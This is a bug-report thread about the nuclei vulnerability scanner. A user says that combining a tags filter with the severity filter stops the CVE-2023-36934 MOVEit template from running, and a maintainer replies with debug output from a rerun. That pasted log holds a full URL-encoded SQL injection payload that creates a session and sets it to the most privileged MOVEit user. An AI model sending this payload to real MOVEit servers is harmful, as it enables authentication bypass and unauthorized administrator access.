Combine condition does not work well

[bugoverfl0w]

Hello team,

It seems nuclei does not work well when combine condition

Nuclei version:

v2.9.14

Command

Please see this video https://asciinema.org/a/3j8Nyrxm3NWfOuDot4FEfiGdv

In summary, with -tags moveit and -s critical,high,medium,low => no request for this template http/cves/2023/CVE-2023-36934.yaml (critical severtiy)
Without -s option, got request for this template http/cves/2023/CVE-2023-36934.yaml

Best regards,

[olearycrew]

Looks like the command you're running is

nuclei -u http://localhost -tags moveit,gitlab,exposure -s critical,high,medium,low -debug -verbose

When I ran that, specifically

nuclei -u https://boleary.dev -tags moveit,gitlab,exposure -s critical,high,medium,low -debug -verbose 2>&1 | tee -a testfull

I do see that CVE-2023-36934 was run with cat testfull | grep 36934 returning:

[INF] [CVE-2023-36934] Dumped HTTP request for https://boleary.dev/human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%272V1yY2HYmorhs1XUq1MC37JMJNT%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+IpAddress=%2745.76.166.144%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27%23
[DBG] [CVE-2023-36934] Dumped HTTP response https://boleary.dev/human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%272V1yY2HYmorhs1XUq1MC37JMJNT%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+IpAddress=%2745.76.166.144%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%272V1yY2HYmorhs1XUq1MC37JMJNT%27%23
[WRN] [CVE-2023-36934] Could not make http request for https://boleary.dev: unresolved variables found: url_encode(ep)